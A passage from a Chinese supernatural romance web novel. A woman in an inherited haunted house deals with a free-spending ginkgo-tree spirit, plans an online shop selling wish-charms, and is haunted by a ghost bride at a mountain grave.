店主见他在选,也不多话,笑着跟岑让川搭话:“对啊,你们那过了桥,有一家卖茶叶的,免费放快递。”
“平时这卖电器的在哪?”岑让川接着问,“比如说冰箱空调热水器之类的?”
“这个啊,你要是有车,导航下,我记得最近的地方在。诶,对了,你是不是买了电视?就在你买电视那。”
半个镇子都听说装电视WiFi的师傅进了凶宅后发起高烧的事。
他离得又不远,当然有听闻。
岑让川想起电视那叫一个痛心。
她后来去网上搜,贵了整整六百块。
一旁银清挑来挑去,最后终于挑中一个后盖是嫩黄青绿色渐变的手机,灯光下跟撒了闪粉似的,流光溢彩。
一看价格,五千多。
岑让川怒了:“你又不会玩手机,买那么贵的干嘛
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!”
“不可以吗……?”他琥珀色双眸看过来,盛满无辜的光,嘟囔说,“我都是你的了,花点钱怎么了。以前也没见你这么抠,宝石华服赏赐一个不少,到这连手机都不给买……”
他这话有歧义。
不知道的还以为她俩是包/养关系!
店主明显想歪,他偷摸看了眼二人,为缓解尴尬说:“小伙子眼光是不错,但是吧,这买手机还得量力而行,量力而行……”
“给我买嘛~给我买了,这几天我不缠你。”
岑让川心塞,望着银清那张只有她能看到的漂亮脸蛋,忍痛扫码。
养男人,真的好费钱……
养棵树,更费钱……
店主在他们身后关上铁闸门,朝她们挥挥手后骑着电动车一溜烟消失在拐角。
银清捧着手机,亦步亦趋跟在岑让川身后,好奇地摁亮手机。
岑让川望着自己逐渐减少的余额,心痛如绞。
不行,不能坐吃山空。
尾款没到手,她得想点赚钱的办法。
银清从温凉的手从后绕来,和她拉手,总算肯跟她说起她问的问题:“鬼魂这种东西,它们想让你看到,你就能看到。”
“你不会在我花了五千多块钱后,只回答我第一个问题吧?”岑让川目光不善。
“当然不会。毕竟攒功德这种事,越快越好。”银清与她并肩同行。
两人慢慢悠悠走在小镇的青石板路上。
旁边商铺已关得差不多,只余下少数正在闭店。
镇子就业机会少,自然年轻人也少,看到大半夜还有年轻人在路上散步,路人不免多看两眼。
银清不在意,继续说:“饲料店那次,也算攒功德吧,毕竟是我们间接加速他的死亡。冤孽压身的时候,只要施害者内心出现一丝动摇或者害怕,就会被言语暗示侵入,瓦解意志。”
所以那次算是实践?
岑让川眉头不自觉皱起。
那次是她要买猫粮。
但黑猫是他的分身……
岑让川想起哪不对劲,她来这才第三天就出现黑猫,在那之前,他根本没说过黑猫是他。
黑猫出现,买猫粮成了必须项。
她顿住脚步:“你故意的?”
“嗯。”他没有掩饰,甚至知道她在想什么,“你不用有负罪感,你也没杀人。我刚刚说了,冤孽缠身的时候,一切皆是咎由自取。我们只是提醒他,这世上看不见的不代表不存在。他没有机会再接着祸害生灵,积攒下的生命就会兑成祈福牌。”
岑让川消化了下,问道:“那我扶老奶奶过马路可以吗?”
“行啊。”银清随口说。
岑让川双眼发亮。
“扶个千八百年大概就可以了。”
“……”
岑让川算是听明白攒功德究竟是怎么一回事。
网络时代。
她突然萌发出一个想法。
攒功德,不就类似于生灵向神明许愿?
那她搞个网店,卖一卖可以实现小愿望引人向善的小东西。
然后等名气散出去,让这个小东西,引出大单!
但问题也来了,怎么能实现小愿望?
她瞥向银清。
银杏树都能成精了,搞点小法术应该可以?
银清被她灼热的视线盯得侧过脸,困惑看她。
12. 网购达人
一个上午过去。
被传唤到警局的岑让川还没回来。
银清抱着黑猫坐在回廊下,一边等一边网购。
看到喜欢的,眼睛眨都不眨地买买买。
刚出警局大门的手机开机,立时传来叮叮咚咚的提示音。
定睛一看,全是银清的购买记录!
昨晚上开通每月五千限额的亲情卡,余额仅剩三百块。
岑让川恨不得扫辆共享自行车,风驰电掣闪现进老宅,然后抓起银清的领口痛斥他这个花法,她都撑不到第二年!
才一个晚上加一个上午,哐哐花了四千三!
四千三!
普通人家一个月的工资啊!
他居然趁她不在,水灵灵地花完了?!
岑让川昨晚就把大额开销诸如家电家具之类的一口气全买完了,想着银清每天不知道从哪弄的钱买食材,这才开了五千给他。
她一个人吃,每个月伙食费撑死一千多块!
更别提小镇物价比大城市便宜了一半。
败家男人!
她非得看看他把钱花哪了!
然后把他的淘宝宝卸载,换上拼刀刀!
岑让川在金钱的刺激下,愣是靠着自己的双腿把步行四十五分钟的路程缩短到二十九分钟。
等她气喘如牛满身大汗窜进宅子,空气里的特别的味道让她呆了呆。
好诡异的气味……
诡异到让她一下子缩回脚。
甚至有点不敢进去。
岑让川迟疑着拿起手机,给银清发信息。
[警局说有些疑点,今天我先不回来吃饭,晚上吃完饭再回。]
点下发送,她转身要跑,身体僵了僵。
银清不知道从哪过去的,慢慢悠悠拿着手机从桥上走下来,微微笑着看她。
他今日穿着一身黑,暗纹在绸缎上流动,衬得肌肤如白玉,似有些微微透明。因着眉骨高,显得眉眼深邃,长睫如羽,投下一层阴影在脸上,如画布上竹林投下的写意影痕。
浓密柔顺的黑发用带链金筒扎束至一边,斜放在胸前。阳光下,那小金筒和挂在他胸前盘扣上的单片镜闪闪发亮,打破浓黑带来的沉闷感,多出几分贵公子的矜贵和读书人的书卷气。
以上是外人看来的视觉。
在岑让川眼里,他就像个性转版的黑寡妇,要取自己狗命。
“嗨,好巧。”岑让川尴尬地打招呼,另一只手紧急撤回微信。
银清却比她早一秒,拿起手机,同时按住电源键和音量键。
“咔嚓。”
截图。
慢了一秒的岑让川:“……”
她的手速居然比不过一棵树……
坐在饭厅。
红木八仙桌上,两菜一汤。
分量不多,明显是要走精品路线。
银清还刻意只做了她一个人的分量。
旁边再次飘来期待的视线,盯得她冷汗直冒。
岑让川做足心理准备,指着那盘青青黄黄中带点粉的菜,嗓音微颤:“这是什么……?”
“芫荽榴莲炖猪蹄。”
“这个呢?”
“芹菜炒绿豆饼。”
“……汤呢?”
“姜丝土豆西红柿汤。”
沉默。
岑让川沉默。
岑让川唯有沉默。
谁能想到,这饭桌上最正常的居然是姜丝土豆番茄汤?!
她拿起空碗,尝了一口汤,又默默放下。
“你……汤底用的什么?”
银清想了想:“好像叫什么阿萨姆奶茶。”
“……”岑让川咽下口中酸酸甜甜带辛辣的汤,忍不住说,“你要不,还是让我吃外卖吧?”
反正她现在不是那么想活着……
银清这再创新高的手艺……
她宁愿去喝小作坊的洗锅汤!
“很难吃吗?”银清对自己的手艺终于不那么有信心了,“我是电视上看到这些广告,以为你爱吃,我就糅合了下……”
“你多久没做饭了?”
“我死后……就没做过……”他的声音低下去。
岑让川追问:“那你没尝过哪不对吗?!”
“……我把,我的嗅觉和味觉,分裂出去了。”
“哈?”这玩意还能分出去?!
“五感通达,六觉俱存,会让我感觉痛苦,我就……分出去了。”银清似乎不愿解释。
岑让川却懂了。
自认识以来,他只会在动情的时候吐露心声。
诉说他的痛苦,诉说他的爱意,诉说他的千年孤寂。
清醒时,他只会偶尔拿几句话挤兑她,好讨要点能缓解孤独的东西。
蓦地吃到一口玻璃渣,岑让川心里有些不是滋味。
她现在才知道,他的感官并不完全。
所谓的黑暗料理,也只是看电视广告觉得好所以全部掺合在一块。
她却以为他是故意的。
岑让川有点小愧疚:“掌管你味觉的分身在哪你知道吗?”
“不知道,不过你在这了,他们也会回来。”被嫌弃厨艺的银清闷闷不乐,“过半个月大概会陆陆续续出现。”
“我……不会有危险吧?”她可还记得他有部分分身恨她入骨。
银清叹口气:“可能吧。”
岑让川瞪他。
银清这才慢慢悠悠地说:“我分裂的时候会很痛,不记得也正常吧?谁让你以前冷落我,屋子又大又冷,说好闲时陪我,转头就跟其他男人谈天说地,心生怨怼,还没人倾诉……”
他越说声音越低。
末了还看她一眼,带着点幽怨。
岑让川:“……”
她耳朵没问题,都听得到。
非得把自己说得跟无情帝王似的,他又不是冷宫的妃子。
不过这个时候不是纠结这些的时候。
岑让川秉着不能浪费粮食的念头,硬着头皮把一桌黑暗料理吃完。
银清心里那点郁气散了些,轻哼一声:“只要我在,他们杀不了你。”
“你要是不在呢?”
她就要被大卸八块了?
“等会去摘一片我的树叶,戴在身上,这样我随时随地都能出现。”
早不说。
岑让川自觉去后厨洗碗。
她还是第一次来宅子的灶房,这个地方已经被银清收拾干净,老鼠洞都被补上了。
岑让川开始边洗碗边在心里琢磨该怎么跟银清说那件事。
她自认为想法不错。
而且银清见识到了现代社会的网购,应该会同意?
她心不在焉地去井边打水,麻绳粗燥,勒地手掌疼。
木桶一扔下去。
岑让川晃荡几下绳子。
幽深的古井,井口略有青苔覆盖,视线再往下,黑暗中唯有水面泛出点光亮,被木桶搅地稀碎。
她刚要发力扯上来,麻绳绷直,木桶像是被什么东西拽住,她一用力,差点摔进井里。
“怎么回事?”岑让川踩在井沿往里头看。
她力气不小,不可能连一桶水都拽不上来。
井里除了水声,还隐约有另外一种声音。
岑让川好奇地伏低身子去聆听。
那似乎是一种不知名生物的呼吸声,慢慢悠悠,绵长广阔。
像极了电
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视上听到的鲸鱼叫声,又有点像……
像什么呢?
岑让川收回脚,趴在井口砖石上。
浓黑的水里,有道如烟似雾的东西一闪而过。
她揉揉眼睛,再去看水里,什么都没有。
可井里的声音异常吸引她去听。
不知不觉间,岑让川大半身子都探进去。
银清清理完后厨,正好奇她怎么还不把洗好的碗拿进来,出门一看,呼吸一滞。
他来不及思考,瞬时出现在她身边,猛地把人从井里拉出来。
岑让川立时清醒过来。
她意识到自己干了什么,连退几步,捂住狂跳不已的心脏,大口喘气。
银清没有说话,低头看一眼井里,然后说:“你去休息吧,这我来收拾。”
“啊?”岑让川一愣。
银清琥珀色的眼睛看过来,她挠挠头,扭头离开。
所以,井里有东西?
岑让川想着,走去主屋小楼。
银杏树遮天蔽日,枝叶茂密。
黑猫趴在树干上,四肢往下垂。
岑让川踮脚,去碰它的尾巴。
黑猫睁眼懒懒看她,收回尾巴,继续趴着。
她踩上石凳去捏它的脚,它也不反抗,只是偶尔用爪子拍她,提醒她过于用力。
半个小时后。
银清满手是水出现。
他的手背红红的,像被谁用力搓揉过。
岑让川心虚地缩回自己的咸猪手。
黑猫“喵”一声,伸了个懒腰,消失在茂密的银杏叶中。
“帮我涂。”银清从口袋里拿出护手霜丢在石桌上,颇有点颐指气使的傲娇样。
岑让川哪敢不从,她还有事想问他。
银清不知道哪买的护手霜,一股浓郁的栀子花香精味。
她拿出纸巾给他擦干,挤出一小坨晶莹的膏体,慢慢打圈给他又揉又按。
“有事求我?”银清歪靠在石桌上问。
“我跟你说件事。”岑让川挪了挪,靠他更近。
银清被她按手按得舒服了,微微眯眼,懒散地“嗯”一声。
“不是要攒功德嘛。我想着,你会不会一些能祝人心想事成,考公上岸,身体健康的小法术,可以附着在些小东西比如树叶玉器上面。现在网购发达,先通过小单慢慢积攒人气,等到名气传出去,就会有大单出现,你觉得怎么样?”
“一边攒功德,一边赚钱?”银清一针见血。
岑让川揉得更起劲了:“怎么样,怎么样?你会不会,会的话我今晚开个小网店卖一卖。”
“会不会……”他缓缓靠近岑让川,“得看你。”
琥珀色的眼眸里染上欲色。
岑让川万万没想到自己还有卖/身这一天。
银清接着说,白玉般的脸上染了一层绯红:“我买了……那个,等它到了,你试试对我……”
他眼睛亮亮的,双手攀上她的脖颈,单膝跪在她面前,眼中充满渴望。
这一瞬间。
岑让川眼前忽然出现幻觉。
如一滴水溅入湖面,泛起涟漪。
他的面容变得更为年轻稚嫩,天生琥珀色的双眼在阳光下愈发金黄璀璨。墨色长发用一根金簪簪起,斜斜歪在脑后,单侧长耳饰垂下,金链和一绺长发乖顺地垂在胸前。
深红色外衫绣满暗纹,服帖地穿在他身上。
精致又矜贵。
他对自己说了什么,弯起漂亮的眉眼,爱意浓到快要溢出。慢慢的,他靠近,敛下双眸,似是不敢触碰,似是克制,在她唇边印下如蜻蜓点水般的吻。
青涩又温柔。
和如今,判若两人。
13. 幽怨
“你知道这是什么吗?”
“现代玉具(shi)。”
“那这是什么?”
“标题写着呀,手铐。”
“行,这个又是什么?!”
“束缚带。”
“退掉!”
“不退……”
两人僵持不下。
岑让川妥协,在搜索栏里打下三个字:“我给你买这个,你自个玩。”
她最近实在没心情,还得把网店搞起来。
而且她有预感,刘缔那件事还远远没结束,甚至是刚开始。
银清不说话,哀怨又委屈地望着她。
岑让川以为他不满意,在搜索里又打上四个字,一看价格,收回手机。
“你不喜欢跟我做吗?”银清直白地问。
岑让川正喝矿泉水,闻言差点没呛死。
她在主屋小楼二楼书房,一盏小台灯照在桌上,键盘上水滴闪闪发亮。
银清坐在她身边,看她慌慌张张把叫笔记本电脑的东西倒扣过来,用纸巾迅速擦干喷溅上去的水,他默默给她扯纸巾擦去桌子上其余的水。
岑让川觉得自己已经很老司机了,遇上银清这种不知道是天然还是腹黑的角色,仍然不够格。
“你把附上愿望的东西写好纸条裹紧,放进小盒子里,埋在树下过一晚上再挖出来就可以用了。”银清低落道,“我今天买的东西,你要是觉得没用,就退掉吧。”
说完,他起身,从窗户钻出,眨眼间不见踪影。
没了他,岑让川正好能把网店重新搞起来。
她曾经在工作的时候为了多赚点钱,经常拿不值钱的边角料雕刻些稀奇古怪的东西放网上卖,生意还算不错。
后来被前老板刘庆远看到,以她工作不饱和为由取消了午休一小时。
一边用保守派的目光批得她一文不值,一边拿她的作品机雕量产售卖。
学玉雕的环境老思想充斥在界内,没有辞职一说。
普遍认为,学徒在师傅手下学习三年,才能真正出师。
说好听点是学习,说难听点就是当黑奴白打工。
岑让川机灵,偷师半年学来的技巧经过自己融会贯通,才一年已经学到精髓,兴致冲冲地和玉雕老板商量把三千块工资往上提一提。
刘庆远当时就不乐意了,叼着烟,厚重的嘴唇里吐出烟圈,就跟茶盘里癞ha蟆茶宠喷干冰似的,连鼻孔都往外冒烟。
他欺负她当时年纪小还是个女孩,装作语重心长说:“让川啊,不是公司不愿意给你涨工资,是你还差点火候。你只要好好学,好好干,公司不会亏待你的。这不,再过段时间会有比赛,你专心学,到时候你也会参赛。你就是公司未来新星,等公司起来了,你也能成为元老不是。我相信全体员工们一起努力,未来绝对有前景。当然,也会体现在你的工资里。”
说完最后一句,刘庆远意味深长地给她一杯茶,嘱咐她好好干。俨然一副要把她培养成玉雕界未来之星的模样。
岑让川那会刚毕业不久,这饼她还真吃了。
又干了两年,才逐渐清醒。
正要辞职,就收到继承凶宅的电话。
她当时辞职的心情别提多畅快。
刘庆远不肯放她走,说当日提起必须三十日后她才能走。
她当时进这家玉雕工作室没签合同,没社保,还没带薪假期,工作室已经是违法经营。
岑让川二话不说当着刘庆远的面拨打劳动监察大队电话12333。
正想着,她手机震动。
屏幕亮起。
【工行提醒:刘庆远给您转账140,000,备注,赔偿。】
岑让川眼睛都亮了,拖了几个月,劳动仲裁的赔偿终于到手。
她截图给闺蜜苏叶,说自己终于拿到了应得的。
打完字,她下意识想找银清说话。
才反应过来,他出去了。
算了,拿到赔偿款。
他今天花出去的四千三就不退了吧?
岑让川重启自己晾了一年的网店,挂个公告。
[川贝:今天重启~有喜欢的亲们可以再次下单~每个产品可备注一个小愿望噢,会有奇迹发生~]
她迫不及待去开自己行李箱,里面有一袋用玛瑙玉髓之类,雕刻了贝壳珍珠、狐狸青蛙等等立体又Q萌的小玩意。
岑让川挑出三分之一写有关学业事业,三分之一写爱情家庭,还剩三分之一先空着不写。
做完这一些,她迫不及待用皮筋把纸条和雕刻件紧捆住,把它们放进桌上一个木匣子里。
下楼声咚咚咚响起。
天色还未黑透,岑让川想去找铲子,却发现银清已经为她挖好一个洞。
不大不小,放个木匣子正好,洞旁边还有个小铲子。
还挺贴心。
岑让川埋好匣子,用铲子铺平,在树下喊了声:“银清?”
没人应她。
风轻轻吹过,满树绿叶沙沙作响。
后厨方向有炊烟升起,她闻到了点饭香。
他又在搞新发明了?
她沿着鹅卵石路走去,沿途低矮的石灯柱发出微弱的光芒,却足以照亮路途。
岑让川惊讶,没想到银清连这个都修好了。
原以为会面对创新晚餐,没想到今晚还挺正常?
西红柿炒鸡蛋。
丝瓜汤。
简简单单。
她惊讶地吃完一顿,味道有点重……
到了夜里。
她躺在床上。
想着自己这一天明明什么都没怎么干,怎么时间过得这么快呢?
她迷迷糊糊间睡过去。
梦里她依稀再次听到熟悉的滴滴嗒嗒声。
背面不知怎的,她似乎压到了谁的手,肩胛骨处极其不舒服,像有人在她脊椎凹陷处用手指来回戳弄。
岑让川难受地挪了挪身体,想要避开那只压住的手。
安静了会。
她的背再次感觉到不舒服。
这次严重了些,被她压住的手不停用指尖又戳又刺。
被褥变得湿润冰凉,两面夹击,闷得她即将窒息。
岑让川难受地半睁开眼,鼻尖忽然闻到一股带着水腥气的……臭味?
这股臭味不像是普通物品发臭的味道。
而是一种刺入灵魂,能让人心生恐惧的臭。
像……同类死去的味道……
岑让川想动,却惊恐地发现自己再次陷入鬼压床的状态。
身体沉重地不听使唤,意识却格外清醒。
她动了动手指,却有丝丝缕缕的东西塞满她整个手掌。
干枯湿润,长而细……
是……头发?!
想到这个,岑让川胸膛里那颗心脏不自觉加速。
她没有那么长的头发,银清头发
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长度也只到腰。
那是谁的头发?!
岑让川呼吸不自觉急促,她努力睁开困倦到即将合上的眼皮,眼珠子往旁缓缓转去。
黑暗中。
主屋小楼窗棂外的月光撒入,照亮一点床侧的位置。
绣满吉祥纹样的婚服暗红如血。
金丝银线如五颜六色的蛛网覆盖在婚服上。
她看到了离她最近的红盖头。
新娘躺在她身边,鼻尖把盖头顶起一个小尖尖。
心跳骤停。
觉察到她的视线。
新娘缓缓把头转过来,抬起那只戴了水波纹白冰翡翠戒指的手贴上她的脖颈。只是一刹那,红盖头下的脑袋坠下,砸在岑让川胸口。
“啊!”她惊叫起身。
趴在她胸口的黑猫像个球一样滚落在被子上。
岑让川满头大汗,那股沉闷的窒息感随着深呼吸减缓几分。
黑猫琥珀色双眸看她一会后,正要离开,尾巴却被抓住。
“喵。”它不满地喊。
岑让川目光触及到它黑色毛发,又立刻松手。黑猫趁此机会蹦下床,三下两下跳出窗离开。
她摸摸自己的额头,一手的冷汗。
梦中梦。
太吓人了。
她去看自己床侧,什么都没有。
掀开被子起身。
她把头发绑起,眼角余光瞥见一点暗色。
岑让川动作顿了顿。
原先她躺着的地方,离枕头不远处,多出一只湿漉漉的手掌印。
空气凝滞。
她站在原地,盯着那枚掌印一动不动。
汗液顺着额角淌下。
正当岑让川害怕地不敢动弹时,宅子外传来拍门的动静。
一声高过一声。
且越来越急促。
出什么事了?
这宅子不是没人敢靠近吗?
岑让川赶忙换好衣服,随意用湿纸巾擦脸后抄近路去开门。
路过回廊处的池塘,她突然看到水边石头下有一艘红色的小纸船,随着水面晃动。
不会是银清叠的?
她这念头只闪过一瞬,踩着拖鞋绕过壁照喊:“来了来了,谁啊!”
新做的门结实无比,如此猛烈的拍门动静也岿然不动,挡住了门外所有人。
岑让川搬下沉甸甸的门栓。
门一开,外头数十人刚要发难,却都在看到她时都停止了动作。
“找我有事?”岑让川面色不善地问。
为首的夫妻二人长得有几分像死去的饲料店老板,他们眼瞳微微颤抖,表情似是看到什么骇人的东西。
岑让川上前一步,他们同时后退。
不知是谁发出一声急促的叫声,打破了沉默。
这声尖叫如发令枪,他们吓得面色惨白,齐齐转身推搡着跑走。
“不是,你们……”岑让川摸不着头脑,想追上去问问他们怎么回事。
结果那群人跑得更快了。
上桥时其中一个被凸起砖石绊倒,他却头也不敢回,被其余二人搀扶起身,狼狈离开。
就在此时。
她工装裤口袋里震动。
是手机店店主发来信息。
[你小心点啊,我听说卖饲料的那家人去找你麻烦了。]
找麻烦?
岑让川莫名其妙,又不是自己杀了他。
14. 错位路途
宅子里多出了个东西。
虽然看不见,但能明显感觉到。
饲料店老板的家人应是看到什么所以才会仓皇逃走。
让镇子上对于凶宅愈发讳莫如深。
手机店店主发来消息,饲料店老板家人每天都在离凶宅最近的地方蹲点。
可是,蹲她干什么?
岑让川百思不得其解。
银清自从上次被她拒绝后一连好几天都没现身。
要不是每日饭点,后厨都会准时出现饭菜,她都要以为这宅子里只有她一个人居住。
她要是因为忙网店和宣传的事忘记吃,他还会以黑猫的形态蹲在窗口静静看她。
到了晚上,时间开始有点难熬。
床上出现手掌印后,岑让川没敢再接着回去睡。她买了个折叠床,就睡在银杏树旁边,银清像是知道,每晚会以黑猫的形态陪她,就是不说话。
这几天她也忙得不可开交,没有主动找他。
宅子里安置必备电器,空调冰箱热水器等等又是一大笔钱。
银清买的快递也到了,堆满主屋小楼一层。
买下它们的主人似乎已经忘了自己买过东西,那堆快递堆满一楼愣是没人拆。
岑让川偷偷摸摸从宅子小门出去,避开饲料店老板家人。
去附近的快递点谈完网店快递费,又寄完一小批快递后回到宅子的主屋小楼。
“银清?”她刻意站在树旁喊他。
没有动静。
“你的快递都到了,赶紧出来吧。”岑让川支起耳朵,“我们一起拆。”
前半句话依旧没动静,后半句话头顶有了一点动静。
无风的环境下,一片树叶盘旋下落,摇曳着落在石桌上。
岑让川不由想到几天前他离去时候的最后一场对话。
他问她,是不是不喜欢和他做。
她忙网店的时,没有搭理。
他重欲,究其深层原因,更像是一种饮鸩止渴的缺爱行为。
一场欢爱,占据的时间并不长。
他却能只能一次次用这种方式,填补过去的孤寂。
他说,爱和欲你总得让我满足一样。
她前世今生没有给过他爱,那么就必须满足欲。
是这样吧?
岑让川想着,忽然想知道银清之前的事。
千年以前的他,究竟是什么样子?
不过,现在他不愿意见她可怎么办?
岑让川叹口气:“你买的玉具(shi)那些我没退。”
一句话,她立时听到树的另一侧轻飘飘的落地声。
枯叶被踩出细微声响,馥郁的草木香气弥漫。
他绕过银杏树,目光明亮:“你真没退?”
几天不见,他没有太大变化。
浅灰色龙纹上衣白裤子,半扎发,倒是多出几分雅致。
“没,你去拆了就知道。”她把口袋里拆快递的小刀递给他。
“一起吗?”
“一起一起。”
四千三,目测五十多件快递。
纸皮箱堆起来都够十几块钱。
银清一边拆一边问:“你怎么不去见饲料店的家人?”
岑让川无语:“我又不是活腻了,去见他们做什么?”
“他现在还不能相信自己已经死去,逃出来了,迟早会找到你的。不如你去他的墓地看看?”
“这事先放放,我问你件事。”
岑让川没说完,银清已经回答她:“你在山上见过的女鬼也跟来了,前几天她跟你一起睡觉。我看你太害怕,就来陪你……”
话音未落,岑让川抡起胳膊直接给他一个锁喉:“我就知道她在!你怎么早不说!?这几天你还不出现,就让你那破猫形态守门有什么用!”
银清顺势倒入她怀中,微微仰起头,像自愿挨近。
他抬起手,抚上她的脸,声音平静:“我就算以现在的模样去守着你也没用,我看不到,只能用分身。”
“看不到?”岑让川放开他,疑惑地去看他眼睛。
他微微敛眸,视线落在她唇上:“视力时好时坏。”
“你把你掌管视觉的分身也分出去了?!”
近看他的双眼,岑让川根本发现不了任何问题。
偏细长的眼眸里,琥珀色虹膜如被夕阳照染的金色潭水,盛满璀璨细碎金箔。金棕色睫毛根部是较深的棕,宛如潭水边生长的植物,包围在水边。
现在这双眼睛,正倒映出她的影子。
“分出去了。”他望着她,缓缓转身,衣摆下,一截白皙如玉的腰若隐若现。他说,“不然,每日都想看你。”
岑让川按住他即将亲上来的动作:“有没有办法……把她弄出去?”
“我只能让她远离小楼,呆在池塘附近。可你迟早会碰上她。”
“迟早?”岑让川虽然有直觉自己会跟女鬼扯上关系,但被他这么直接说出来还是愣了愣,“你怎么知道?”
“大概……不久?她会是你第一个大单客户。抱歉,我现在五感不全,不能像以前那样给你来一卦。”他说完,暗示性地用脸蹭蹭她。
工具到齐,比起千年前似乎更加精致。
他想让她在他身上试试。
可岑让川皱眉沉思片刻,不顾他的暗示,抽出手机给刘庆远发了条微信。
[岑让川:老登,你还活着?]
对面秒回。
一个红色感叹号蹦出。
[您已不是对方好友,请发送好友验证。]
约莫是好几天没见,银清比起几天前愈发缠人,恨不得就在这推倒她吃上自助餐。
岑让川没再像之前那样态度冷淡,让他缠,一只手却不让他更接近:“我问你,饲料店那个怎么解决?”
“去他坟上埋雷符,引雷炸毁。”
她听到这答案目瞪口呆。
这么简单粗暴吗?!
银清已经素了快半月,从招待所浴室那次后每次都在中途戛然而止。他胡乱在她脸上亲,身体微微发热。
岑让川却还在想事,心不在焉回应。
他最受不了她敷衍的态度,上辈子是这样,这辈子还是这样!
情动之火稍稍熄灭。
银清不情愿地问:“要我帮你去打发那家人吗?”
“诶?可以吗?”未曾设想的办法出现了。
“可以。”他答应下来,“下午有场雨,炸掉就好了,魂飞魄散。他家人就不会因为他阴魂不散托梦找你麻烦了。”
她说那家人为什么堵她呢!
原来是那瘪三憋着坏,死了也要拉别人下水。
银清再次试探,以一种下位者的姿态单膝跪地,克制地吻她的肩。
吻一下,看一下。
岑让川心里装着事,按住银清要解开盘扣的手。
她纠结半天,然后说:“要不我们现在就去吧?你一个人我怕他们打你。”
“……”
走出老宅。
桥对面有个国字脸的人蹲守。
但他不太专心,靠在桥墩上翻着白眼打盹。
银清阴郁地盯着他,蹲下身把国字脸拍醒。
那一巴掌说是提醒,更像发泄怒火。
“啪!”
超大一声。
在草丛上找草籽吃的麻雀惊慌失措地拍打翅膀飞走。
岑让川默默捂住自己半张脸,心想要不是自己占了他前世白月光的身份,他这巴掌会不会拍自己脸上?
三番两次拒绝他,岑让川在这种情况下居然开始思考一棵树憋坏的可能性有多大。
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>蹲守的国字脸被惊醒。
捂着被拍疼的地方瞪圆眼睛看银清。
银清眼神不善,冷冷道:“卖饲料那个人的坟地在哪?带我们过去。”
岑让川瞥他,头一回听到他用这种语调跟人说话。
欲求不满,导致变态?
“你……”银清气势太足,国字脸被扇醒后缓了片刻才看到银清背后的岑让川,“你!”
“你们找她也无济于事,国家律法会管。既然如此,让我们去解决他,不比你们按照他的指示对她动手要划算?”
他这番话跟绕口令似的,国字脸愣是听懂了。
半个小时后。
三个人变成一群人。
巧的是,路线和她第一次想去山上道观时一模一样。
上山路线这么多,为什么偏偏是这条?
岑让川不由瞥向银清。
他目视前方,并没有看她。
这条路曾经被小型泥石流冲过,政府封山封了好几日。
此刻路旁草木树干,比地面高出一截的部分都留有泥水冲刷过的痕迹。
在饲料店老板家人并未带路的情况下,银清带领众人路过她与分身呆过的红顶小庙,准确无误找到了那人的下葬地点。
林木遮天蔽日。
岑让川望见三百米外高地还有一块墓碑,她好奇心起,正要过去,银清拉住她。
银清平静地说:“你现在最好和我呆在一起。”
岑让川不懂为什么,但她无法不在意那块高地上的墓碑,心中总有个声音让她快点过去。
临近下午。
天光渐渐暗下。
本该是最炎热刺眼的时段,却是乌云密布。
林间起了雾气,笼罩过来。
跟随她们一同上山的国字脸等人莫名不安起来。
“你们不是说会看风水吗?怎么还不动手,快下雨了,可能会有泥石流,赶紧做完走吧。”老夫妻催促。
他们对自己儿子死去没有太大感觉,这些年家里因为他到处闹事赔进去不少钱,家里已经没钱供他霍霍。要不是他死后不断托梦,老夫妻也不想找岑让川的麻烦。
“时间还没到。”银清淡定地点燃五支香插入墓碑前。
又过了会,白雾渐浓。
五支香熄灭,三长两短。
人群起了骚乱。
岑让川仍然时不时望向高地墓碑。
她看了看周围聚集的人,不顾银清嘱咐,悄无声息往那处地方走去。
她就看一眼。
一眼。
立刻就回来。
可当她真的走到墓碑前,岑让川愣住了。
在她身后浓雾处,悄然氤氲出一团红色。
爱女刘缔之墓。
岑让川顿觉冷汗都下来了。
她第一次到这,是从山下到小庙,又从小庙往下离开,那么,刘缔的墓地应该是在山脚下才对。
这一次,却是路过小庙,又再往上,刘缔的墓却从山脚移到了半山腰?!
“银……”岑让川刚要喊出声,背后温度陡然变得冰寒蚀骨。
一双白惨惨的手覆盖在她肩头,红盖头穗沿着她的天灵盖落下,她的后脑勺贴到鬼新娘的鼻尖。
人有三把火,分别在头顶和两边肩膀。
她的火在这一瞬间熄灭。
岑让川被钉在原地,浑身颤抖,根本动不了,仿佛陷入梦魇。
鬼新娘缓缓从她背后挪转,从她背后,转到面前。
一张沾满符纸的脸蓦地放大。
从那沾满鲜血与朱砂的符纸中,岑让川看到了一只裂开的眼眶。
目中涌出的鲜血滴落。
岑让川手机落地,屏幕不断跳动。
相册翻出,无人操控的手机上,红色彩笔抹出一行字。
15. vintage古着衣1
大雨滂沱。
如同海洋倒灌,没有间隙,淋得人呼吸不过来。
鼻腔里全是水,随意呼吸一口都是浓厚的土腥气。她感觉到自己后脑勺都似乎泡在泥水里,沉闷地像躺在封闭的塑料桶里,耳边不断传来落雨天和挖土声……
岑让川悠悠转醒,刚睁开眼,视线还未聚焦,几颗葡萄般大的水滴迅速接近,砸在眼皮上。冰凉雨水淌入眼中,凉得眼球略微感到刺痛。她重新闭上眼睛,缓了会才清醒过来。
天色半黑半明,她在雨中浑身淋湿,身下淌着的还是泥浆。
四周树林跟白日看时完全不一样,俱是浓黑一片。
她想起昏倒前,看到盖头下的鬼新娘,不由打了个哆嗦。
“醒了?”一旁土堆下传来银清的声音。
话音刚落,一把铲子丢到了上来,“下来帮忙。”
岑让川抹去脸上雨水,总觉得哪不对劲:“我手机呢?”
银清没有回答她,在堆起的黄土下忙碌个不停。
她四处搜寻,总算找到在不远处半埋进土中的手机。
按下电源键,屏幕亮起。
还没输密码,画面已经跳转到相册。
手机像有了意识,蹦出一张图。
是她拍黑猫蛋蛋的照片,此刻,这张照片用系统自带红色涂鸦笔写着“还我vintage衣”。
字体扭曲,锋利,似一把小刀要割开画面。
雨滴砸在手机屏上,留下水迹。
突然,手机再次自动蹦转,打开了前置摄影。
惊雷劈下。
照亮这片坟地。
岑让川从相机里看到自己背后垂下的红盖头穗穗。
背脊瞬间凉透。
她按灭手机,嗓音微颤:“银清。”
在黄土堆下的他没有应答。
只有不断的土从底下抛出。
岑让川提高声音,又喊了他一声:“银清?”
依旧无人应答。
雨水再次流入眼睛,她抬手抹去,眼角余光蓦地瞥见不远处躺在地上的身影。
灰色上衣,白裤子。
长发散落,整个人浸在积蓄出一小滩水潭的草地上。
被浓重的泥土雨水掩盖下,岑让川闻到一股似有若无的气味。
木头烧糊的味道……
视线收回,她往银清本该呆的地方望去。
黑烟被雨压制,并未散出。
